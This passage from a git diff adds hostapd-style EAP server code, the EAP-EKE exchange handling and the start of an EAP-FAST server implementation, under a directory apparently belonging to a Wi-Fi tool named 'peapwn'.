wpa_printf(MSG_DEBUG, "EAP-EKE: Request/Failure: Failure-Code=0x%x", + data->failure_code); + + msg = eap_eke_build_msg(data, id, 4, EAP_EKE_FAILURE); + if (msg == NULL) { + eap_eke_state(data, FAILURE); + return NULL; + } + wpabuf_put_be32(msg, data->failure_code); + + return msg; +} + + +static struct wpabuf * eap_eke_build_identity(struct eap_sm *sm, + struct eap_eke_data *data, + u8 id) +{ + struct wpabuf *msg; + size_t plen; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Request/Identity"); + + plen = 2 + 4 * 4 + 1 + sm->server_id_len; + msg = eap_eke_build_msg(data, id, plen, EAP_EKE_ID); + if (msg == NULL) + return NULL; + + wpabuf_put_u8(msg, 4); /* NumProposals */ + wpabuf_put_u8(msg, 0); /* Reserved */ + + /* Proposal - DH Group 16 with AES128-CBC and SHA256 */ + wpabuf_put_u8(msg, EAP_EKE_DHGROUP_EKE_16); /* Group Description */ + wpabuf_put_u8(msg, EAP_EKE_ENCR_AES128_CBC); /* Encryption */ + wpabuf_put_u8(msg, EAP_EKE_PRF_HMAC_SHA2_256); /* PRF */ + wpabuf_put_u8(msg, EAP_EKE_MAC_HMAC_SHA2_256); /* MAC */ + + /* Proposal - DH Group 15 with AES128-CBC and SHA256 */ + wpabuf_put_u8(msg, EAP_EKE_DHGROUP_EKE_15); /* Group Description */ + wpabuf_put_u8(msg, EAP_EKE_ENCR_AES128_CBC); /* Encryption */ + wpabuf_put_u8(msg, EAP_EKE_PRF_HMAC_SHA2_256); /* PRF */ + wpabuf_put_u8(msg, EAP_EKE_MAC_HMAC_SHA2_256); /* MAC */ + + /* Proposal - DH Group 14 with AES128-CBC and SHA256 */ + wpabuf_put_u8(msg, EAP_EKE_DHGROUP_EKE_14); /* Group Description */ + wpabuf_put_u8(msg, EAP_EKE_ENCR_AES128_CBC); /* Encryption */ + wpabuf_put_u8(msg, EAP_EKE_PRF_HMAC_SHA2_256); /* PRF */ + wpabuf_put_u8(msg, EAP_EKE_MAC_HMAC_SHA2_256); /* MAC */ + + /* + * Proposal - DH Group 14 with AES128-CBC and SHA1 + * (mandatory to implement algorithms) + */ + wpabuf_put_u8(msg, EAP_EKE_DHGROUP_EKE_14); /* Group Description */ + wpabuf_put_u8(msg, EAP_EKE_ENCR_AES128_CBC); /* Encryption */ + wpabuf_put_u8(msg, EAP_EKE_PRF_HMAC_SHA1); /* PRF */ + wpabuf_put_u8(msg, EAP_EKE_MAC_HMAC_SHA1); /* MAC */ + + /* Server IDType + Identity */ + wpabuf_put_u8(msg, data->serverid_type); + wpabuf_put_data(msg, sm->server_id, sm->server_id_len); + + wpabuf_free(data->msgs); + data->msgs = wpabuf_dup(msg); + if (data->msgs == NULL) { + wpabuf_free(msg); + return NULL; + } + + return msg; +} + + +static struct wpabuf * eap_eke_build_commit(struct eap_sm *sm, + struct eap_eke_data *data, u8 id) +{ + struct wpabuf *msg; + u8 pub[EAP_EKE_MAX_DH_LEN]; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Request/Commit"); + + if (sm->user == NULL || sm->user->password == NULL) { + wpa_printf(MSG_INFO, "EAP-EKE: Password with not configured"); + eap_eke_fail(data, EAP_EKE_FAIL_PASSWD_NOT_FOUND); + return eap_eke_build_failure(data, id); + } + + if (eap_eke_derive_key(&data->sess, sm->user->password, + sm->user->password_len, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, data->key) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive key"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + msg = eap_eke_build_msg(data, id, data->sess.dhcomp_len, + EAP_EKE_COMMIT); + if (msg == NULL) { + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + /* + * y_s = g ^ x_s (mod p) + * x_s = random number 2 .. p-1 + * temp = prf(0+, password) + * key = prf+(temp, ID_S | ID_P) + * DHComponent_S = Encr(key, y_s) + */ + + if (eap_eke_dh_init(data->sess.dhgroup, data->dh_priv, pub) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to initialize DH"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + if (eap_eke_dhcomp(&data->sess, data->key, pub, + wpabuf_put(msg, data->sess.dhcomp_len)) + < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to build DHComponent_S"); + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + if (wpabuf_resize(&data->msgs, wpabuf_len(msg)) < 0) { + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + wpabuf_put_buf(data->msgs, msg); + + return msg; +} + + +static struct wpabuf * eap_eke_build_confirm(struct eap_sm *sm, + struct eap_eke_data *data, u8 id) +{ + struct wpabuf *msg; + size_t plen, prot_len; + u8 nonces[2 * EAP_EKE_MAX_NONCE_LEN]; + u8 *auth; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Request/Confirm"); + + plen = data->sess.pnonce_ps_len + data->sess.prf_len; + msg = eap_eke_build_msg(data, id, plen, EAP_EKE_CONFIRM); + if (msg == NULL) { + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + if (random_get_bytes(data->nonce_s, data->sess.nonce_len)) { + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Nonce_S", + data->nonce_s, data->sess.nonce_len); + + os_memcpy(nonces, data->nonce_p, data->sess.nonce_len); + os_memcpy(nonces + data->sess.nonce_len, data->nonce_s, + data->sess.nonce_len); + prot_len = wpabuf_tailroom(msg); + if (eap_eke_prot(&data->sess, nonces, 2 * data->sess.nonce_len, + wpabuf_put(msg, 0), &prot_len) < 0) { + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + wpabuf_put(msg, prot_len); + + if (eap_eke_derive_ka(&data->sess, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, + data->nonce_p, data->nonce_s) < 0) { + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + + auth = wpabuf_put(msg, data->sess.prf_len); + if (eap_eke_auth(&data->sess, "EAP-EKE server", data->msgs, auth) < 0) { + wpabuf_free(msg); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return eap_eke_build_failure(data, id); + } + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Auth_S", auth, data->sess.prf_len); + + return msg; +} + + +static struct wpabuf * eap_eke_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_eke_data *data = priv; + + switch (data->state) { + case IDENTITY: + return eap_eke_build_identity(sm, data, id); + case COMMIT: + return eap_eke_build_commit(sm, data, id); + case CONFIRM: + return eap_eke_build_confirm(sm, data, id); + case FAILURE_REPORT: + return eap_eke_build_failure(data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-EKE: Unknown state %d in buildReq", + data->state); + break; + } + return NULL; +} + + +static Boolean eap_eke_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_eke_data *data = priv; + size_t len; + const u8 *pos; + u8 eke_exch; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_EKE, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-EKE: Invalid frame"); + return TRUE; + } + + eke_exch = *pos; + wpa_printf(MSG_DEBUG, "EAP-EKE: Received frame: EKE-Exch=%d", eke_exch); + + if (data->state == IDENTITY && eke_exch == EAP_EKE_ID) + return FALSE; + + if (data->state == COMMIT && eke_exch == EAP_EKE_COMMIT) + return FALSE; + + if (data->state == CONFIRM && eke_exch == EAP_EKE_CONFIRM) + return FALSE; + + if (eke_exch == EAP_EKE_FAILURE) + return FALSE; + + wpa_printf(MSG_INFO, "EAP-EKE: Unexpected EKE-Exch=%d in state=%d", + eke_exch, data->state); + + return TRUE; +} + + +static void eap_eke_process_identity(struct eap_sm *sm, + struct eap_eke_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + const u8 *pos, *end; + int i; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received Response/Identity"); + + if (data->state != IDENTITY) { + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + pos = payload; + end = payload + payloadlen; + + if (pos + 2 + 4 + 1 > end) { + wpa_printf(MSG_INFO, "EAP-EKE: Too short EAP-EKE-ID payload"); + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + if (*pos != 1) { + wpa_printf(MSG_INFO, "EAP-EKE: Unexpected NumProposals %d (expected 1)", + *pos); + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + pos += 2; + + if (!supported_proposal(pos)) { + wpa_printf(MSG_INFO, "EAP-EKE: Unexpected Proposal (%u:%u:%u:%u)", + pos[0], pos[1], pos[2], pos[3]); + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Selected Proposal (%u:%u:%u:%u)", + pos[0], pos[1], pos[2], pos[3]); + if (eap_eke_session_init(&data->sess, pos[0], pos[1], pos[2], pos[3]) < + 0) { + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + pos += 4; + + data->peerid_type = *pos++; + os_free(data->peerid); + data->peerid = os_malloc(end - pos); + if (data->peerid == NULL) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to allocate memory for peerid"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + os_memcpy(data->peerid, pos, end - pos); + data->peerid_len = end - pos; + wpa_printf(MSG_DEBUG, "EAP-EKE: Peer IDType %u", data->peerid_type); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-EKE: Peer Identity", + data->peerid, data->peerid_len); + + if (eap_user_get(sm, data->peerid, data->peerid_len, data->phase2)) { + wpa_printf(MSG_INFO, "EAP-EKE: Peer Identity not found from user database"); + eap_eke_fail(data, EAP_EKE_FAIL_PASSWD_NOT_FOUND); + return; + } + + for (i = 0; i < EAP_MAX_METHODS; i++) { + if (sm->user->methods[i].vendor == EAP_VENDOR_IETF && + sm->user->methods[i].method == EAP_TYPE_EKE) + break; + } + if (i == EAP_MAX_METHODS) { + wpa_printf(MSG_INFO, "EAP-EKE: Matching user entry does not allow EAP-EKE"); + eap_eke_fail(data, EAP_EKE_FAIL_PASSWD_NOT_FOUND); + return; + } + + if (sm->user->password == NULL || sm->user->password_len == 0) { + wpa_printf(MSG_INFO, "EAP-EKE: No password configured for peer"); + eap_eke_fail(data, EAP_EKE_FAIL_PASSWD_NOT_FOUND); + return; + } + + if (wpabuf_resize(&data->msgs, wpabuf_len(respData)) < 0) { + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + wpabuf_put_buf(data->msgs, respData); + + eap_eke_state(data, COMMIT); +} + + +static void eap_eke_process_commit(struct eap_sm *sm, + struct eap_eke_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + const u8 *pos, *end, *dhcomp, *pnonce; + size_t decrypt_len; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received Response/Commit"); + + if (data->state != COMMIT) { + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + pos = payload; + end = payload + payloadlen; + + if (pos + data->sess.dhcomp_len + data->sess.pnonce_len > end) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Commit"); + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + wpa_hexdump(MSG_DEBUG, "EAP-EKE: DHComponent_P", + pos, data->sess.dhcomp_len); + dhcomp = pos; + pos += data->sess.dhcomp_len; + wpa_hexdump(MSG_DEBUG, "EAP-EKE: PNonce_P", pos, data->sess.pnonce_len); + pnonce = pos; + pos += data->sess.pnonce_len; + wpa_hexdump(MSG_DEBUG, "EAP-EKE: CBValue", pos, end - pos); + + if (eap_eke_shared_secret(&data->sess, data->key, data->dh_priv, dhcomp) + < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive shared secret"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + + if (eap_eke_derive_ke_ki(&data->sess, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive Ke/Ki"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + + decrypt_len = sizeof(data->nonce_p); + if (eap_eke_decrypt_prot(&data->sess, pnonce, data->sess.pnonce_len, + data->nonce_p, &decrypt_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to decrypt PNonce_P"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + if (decrypt_len < (size_t) data->sess.nonce_len) { + wpa_printf(MSG_INFO, "EAP-EKE: PNonce_P protected data too short to include Nonce_P"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Nonce_P", + data->nonce_p, data->sess.nonce_len); + + if (wpabuf_resize(&data->msgs, wpabuf_len(respData)) < 0) { + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + wpabuf_put_buf(data->msgs, respData); + + eap_eke_state(data, CONFIRM); +} + + +static void eap_eke_process_confirm(struct eap_sm *sm, + struct eap_eke_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + size_t decrypt_len; + u8 nonce[EAP_EKE_MAX_NONCE_LEN]; + u8 auth_p[EAP_EKE_MAX_HASH_LEN]; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received Response/Confirm"); + + if (data->state != CONFIRM) { + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received Response/Confirm"); + + if (payloadlen < (size_t) data->sess.pnonce_len + data->sess.prf_len) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Confirm"); + eap_eke_fail(data, EAP_EKE_FAIL_PROTO_ERROR); + return; + } + + decrypt_len = sizeof(nonce); + if (eap_eke_decrypt_prot(&data->sess, payload, data->sess.pnonce_len, + nonce, &decrypt_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to decrypt PNonce_S"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + if (decrypt_len < (size_t) data->sess.nonce_len) { + wpa_printf(MSG_INFO, "EAP-EKE: PNonce_S protected data too short to include Nonce_S"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Received Nonce_S", + nonce, data->sess.nonce_len); + if (os_memcmp(nonce, data->nonce_s, data->sess.nonce_len) != 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Received Nonce_S does not match previously sent Nonce_S"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + + if (eap_eke_auth(&data->sess, "EAP-EKE peer", data->msgs, auth_p) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Could not derive Auth_P"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Auth_P", auth_p, data->sess.prf_len); + if (os_memcmp(auth_p, payload + data->sess.pnonce_len, + data->sess.prf_len) != 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Auth_P does not match"); + eap_eke_fail(data, EAP_EKE_FAIL_AUTHENTICATION_FAIL); + return; + } + + if (eap_eke_derive_msk(&data->sess, sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, + data->nonce_s, data->nonce_p, + data->msk, data->emsk) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to derive MSK/EMSK"); + eap_eke_fail(data, EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR); + return; + } + + os_memset(data->dh_priv, 0, sizeof(data->dh_priv)); + os_memset(data->key, 0, sizeof(data->key)); + eap_eke_session_clean(&data->sess); + + eap_eke_state(data, SUCCESS); +} + + +static void eap_eke_process_failure(struct eap_sm *sm, + struct eap_eke_data *data, + const struct wpabuf *respData, + const u8 *payload, size_t payloadlen) +{ + u32 code; + + wpa_printf(MSG_DEBUG, "EAP-EKE: Received Response/Failure"); + + if (payloadlen < 4) { + wpa_printf(MSG_DEBUG, "EAP-EKE: Too short EAP-EKE-Failure"); + eap_eke_state(data, FAILURE); + return; + } + + code = WPA_GET_BE32(payload); + wpa_printf(MSG_DEBUG, "EAP-EKE: Peer reported failure code 0x%x", code); + + eap_eke_state(data, FAILURE); +} + + +static void eap_eke_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_eke_data *data = priv; + u8 eke_exch; + size_t len; + const u8 *pos, *end; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_EKE, respData, &len); + if (pos == NULL || len < 1) + return; + + eke_exch = *pos; + end = pos + len; + pos++; + + wpa_hexdump(MSG_DEBUG, "EAP-EKE: Received payload", pos, end - pos); + + switch (eke_exch) { + case EAP_EKE_ID: + eap_eke_process_identity(sm, data, respData, pos, end - pos); + break; + case EAP_EKE_COMMIT: + eap_eke_process_commit(sm, data, respData, pos, end - pos); + break; + case EAP_EKE_CONFIRM: + eap_eke_process_confirm(sm, data, respData, pos, end - pos); + break; + case EAP_EKE_FAILURE: + eap_eke_process_failure(sm, data, respData, pos, end - pos); + break; + } +} + + +static Boolean eap_eke_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_eke_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_eke_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_eke_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_eke_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_eke_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static Boolean eap_eke_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_eke_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_eke_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_EKE, "EKE"); + if (eap == NULL) + return -1; + + eap->init = eap_eke_init; + eap->reset = eap_eke_reset; + eap->buildReq = eap_eke_buildReq; + eap->check = eap_eke_check; + eap->process = eap_eke_process; + eap->isDone = eap_eke_isDone; + eap->getKey = eap_eke_getKey; + eap->isSuccess = eap_eke_isSuccess; + eap->get_emsk = eap_eke_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_fast.c b/peapwn/mods/hostap/src/eap_server/eap_server_fast.c new file mode 100644 index 000000000..fcb80dc75 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_fast.c @@ -0,0 +1,1614 @@ +/* + * EAP-FAST server (RFC 4851) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "crypto/random.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_common/eap_fast_common.h" +#include "eap_i.h" +#include "eap_tls_common.h" + + +static void eap_fast_reset(struct eap_sm *sm, void *priv); + + +/* Private PAC-Opaque TLV types */ +#define PAC_OPAQUE_TYPE_PAD 0 +#define PAC_OPAQUE_TYPE_KEY 1 +#define PAC_OPAQUE_TYPE_LIFETIME 2 +#define PAC_OPAQUE_TYPE_IDENTITY 3 + +struct eap_fast_data { + struct eap_ssl_data ssl; + enum { + START, PHASE1, PHASE2_START, PHASE2_ID, PHASE2_METHOD, + CRYPTO_BINDING, REQUEST_PAC, SUCCESS, FAILURE + } state; + + int fast_version; + const struct eap_method *phase2_method; + void *phase2_priv; + int force_version; + int peer_version; + + u8 crypto_binding_nonce[32]; + int final_result; + + struct eap_fast_key_block_provisioning *key_block_p; + + u8 simck[EAP_FAST_SIMCK_LEN]; + u8 cmk[EAP_FAST_CMK_LEN]; + int simck_idx; + + u8 pac_opaque_encr[16]; + u8 *srv_id; + size_t srv_id_len; + char *srv_id_info; + + int anon_provisioning; + int send_new_pac; /* server triggered re-keying of Tunnel PAC */ + struct wpabuf *pending_phase2_resp; + u8 *identity; /* from PAC-Opaque */ + size_t identity_len; + int eap_seq; + int tnc_started; + + int pac_key_lifetime; + int pac_key_refresh_time; +}; + + +static int eap_fast_process_phase2_start(struct eap_sm *sm, + struct eap_fast_data *data); + + +static const char * eap_fast_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case PHASE1: + return "PHASE1"; + case PHASE2_START: + return "PHASE2_START"; + case PHASE2_ID: + return "PHASE2_ID"; + case PHASE2_METHOD: + return "PHASE2_METHOD"; + case CRYPTO_BINDING: + return "CRYPTO_BINDING"; + case REQUEST_PAC: + return "REQUEST_PAC"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "Unknown?!"; + } +} + + +static void eap_fast_state(struct eap_fast_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-FAST: %s -> %s", + eap_fast_state_txt(data->state), + eap_fast_state_txt(state)); + data->state = state; +} + + +static EapType eap_fast_req_failure(struct eap_sm *sm, + struct eap_fast_data *data) +{ + /* TODO: send Result TLV(FAILURE) */ + eap_fast_state(data, FAILURE); + return EAP_TYPE_NONE; +} + + +static int eap_fast_session_ticket_cb(void *ctx, const u8 *ticket, size_t len, + const u8 *client_random, + const u8 *server_random, + u8 *master_secret) +{ + struct eap_fast_data *data = ctx; + const u8 *pac_opaque; + size_t pac_opaque_len; + u8 *buf, *pos, *end, *pac_key = NULL; + os_time_t lifetime = 0; + struct os_time now; + u8 *identity = NULL; + size_t identity_len = 0; + + wpa_printf(MSG_DEBUG, "EAP-FAST: SessionTicket callback"); + wpa_hexdump(MSG_DEBUG, "EAP-FAST: SessionTicket (PAC-Opaque)", + ticket, len); + + if (len < 4 || WPA_GET_BE16(ticket) != PAC_TYPE_PAC_OPAQUE) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Ignore invalid " + "SessionTicket"); + return 0; + } + + pac_opaque_len = WPA_GET_BE16(ticket + 2); + pac_opaque = ticket + 4; + if (pac_opaque_len < 8 || pac_opaque_len % 8 || + pac_opaque_len > len - 4) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Ignore invalid PAC-Opaque " + "(len=%lu left=%lu)", + (unsigned long) pac_opaque_len, + (unsigned long) len); + return 0; + } + wpa_hexdump(MSG_DEBUG, "EAP-FAST: Received PAC-Opaque", + pac_opaque, pac_opaque_len); + + buf = os_malloc(pac_opaque_len - 8); + if (buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to allocate memory " + "for decrypting PAC-Opaque"); + return 0; + } + + if (aes_unwrap(data->pac_opaque_encr, (pac_opaque_len - 8) / 8, + pac_opaque, buf) < 0) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to decrypt " + "PAC-Opaque"); + os_free(buf); + /* + * This may have been caused by server changing the PAC-Opaque + * encryption key, so just ignore this PAC-Opaque instead of + * failing the authentication completely. Provisioning can now + * be used to provision a new PAC. + */ + return 0; + } + + end = buf + pac_opaque_len - 8; + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: Decrypted PAC-Opaque", + buf, end - buf); + + pos = buf; + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + + switch (*pos) { + case PAC_OPAQUE_TYPE_PAD: + pos = end; + break; + case PAC_OPAQUE_TYPE_KEY: + if (pos[1] != EAP_FAST_PAC_KEY_LEN) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Invalid " + "PAC-Key length %d", pos[1]); + os_free(buf); + return -1; + } + pac_key = pos + 2; + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: PAC-Key from " + "decrypted PAC-Opaque", + pac_key, EAP_FAST_PAC_KEY_LEN); + break; + case PAC_OPAQUE_TYPE_LIFETIME: + if (pos[1] != 4) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Invalid " + "PAC-Key lifetime length %d", + pos[1]); + os_free(buf); + return -1; + } + lifetime = WPA_GET_BE32(pos + 2); + break; + case PAC_OPAQUE_TYPE_IDENTITY: + identity = pos + 2; + identity_len = pos[1]; + break; + } + + pos += 2 + pos[1]; + } + + if (pac_key == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No PAC-Key included in " + "PAC-Opaque"); + os_free(buf); + return -1; + } + + if (identity) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: Identity from " + "PAC-Opaque", identity, identity_len); + os_free(data->identity); + data->identity = os_malloc(identity_len); + if (data->identity) { + os_memcpy(data->identity, identity, identity_len); + data->identity_len = identity_len; + } + } + + if (os_get_time(&now) < 0 || lifetime <= 0 || now.sec > lifetime) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Key not valid anymore " + "(lifetime=%ld now=%ld)", lifetime, now.sec); + data->send_new_pac = 2; + /* + * Allow PAC to be used to allow a PAC update with some level + * of server authentication (i.e., do not fall back to full TLS + * handshake since we cannot be sure that the peer would be + * able to validate server certificate now). However, reject + * the authentication since the PAC was not valid anymore. Peer + * can connect again with the newly provisioned PAC after this. + */ + } else if (lifetime - now.sec < data->pac_key_refresh_time) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Key soft timeout; send " + "an update if authentication succeeds"); + data->send_new_pac = 1; + } + + eap_fast_derive_master_secret(pac_key, server_random, client_random, + master_secret); + + os_free(buf); + + return 1; +} + + +static void eap_fast_derive_key_auth(struct eap_sm *sm, + struct eap_fast_data *data) +{ + u8 *sks; + + /* RFC 4851, Section 5.1: + * Extra key material after TLS key_block: session_key_seed[40] + */ + + sks = eap_fast_derive_key(sm->ssl_ctx, data->ssl.conn, "key expansion", + EAP_FAST_SKS_LEN); + if (sks == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to derive " + "session_key_seed"); + return; + } + + /* + * RFC 4851, Section 5.2: + * S-IMCK[0] = session_key_seed + */ + wpa_hexdump_key(MSG_DEBUG, + "EAP-FAST: session_key_seed (SKS = S-IMCK[0])", + sks, EAP_FAST_SKS_LEN); + data->simck_idx = 0; + os_memcpy(data->simck, sks, EAP_FAST_SIMCK_LEN); + os_free(sks); +} + + +static void eap_fast_derive_key_provisioning(struct eap_sm *sm, + struct eap_fast_data *data) +{ + os_free(data->key_block_p); + data->key_block_p = (struct eap_fast_key_block_provisioning *) + eap_fast_derive_key(sm->ssl_ctx, data->ssl.conn, + "key expansion", + sizeof(*data->key_block_p)); + if (data->key_block_p == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to derive key block"); + return; + } + /* + * RFC 4851, Section 5.2: + * S-IMCK[0] = session_key_seed + */ + wpa_hexdump_key(MSG_DEBUG, + "EAP-FAST: session_key_seed (SKS = S-IMCK[0])", + data->key_block_p->session_key_seed, + sizeof(data->key_block_p->session_key_seed)); + data->simck_idx = 0; + os_memcpy(data->simck, data->key_block_p->session_key_seed, + EAP_FAST_SIMCK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: server_challenge", + data->key_block_p->server_challenge, + sizeof(data->key_block_p->server_challenge)); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: client_challenge", + data->key_block_p->client_challenge, + sizeof(data->key_block_p->client_challenge)); +} + + +static int eap_fast_get_phase2_key(struct eap_sm *sm, + struct eap_fast_data *data, + u8 *isk, size_t isk_len) +{ + u8 *key; + size_t key_len; + + os_memset(isk, 0, isk_len); + + if (data->phase2_method == NULL || data->phase2_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase 2 method not " + "available"); + return -1; + } + + if (data->phase2_method->getKey == NULL) + return 0; + + if ((key = data->phase2_method->getKey(sm, data->phase2_priv, + &key_len)) == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Could not get key material " + "from Phase 2"); + return -1; + } + + if (key_len > isk_len) + key_len = isk_len; + if (key_len == 32 && + data->phase2_method->vendor == EAP_VENDOR_IETF && + data->phase2_method->method == EAP_TYPE_MSCHAPV2) { + /* + * 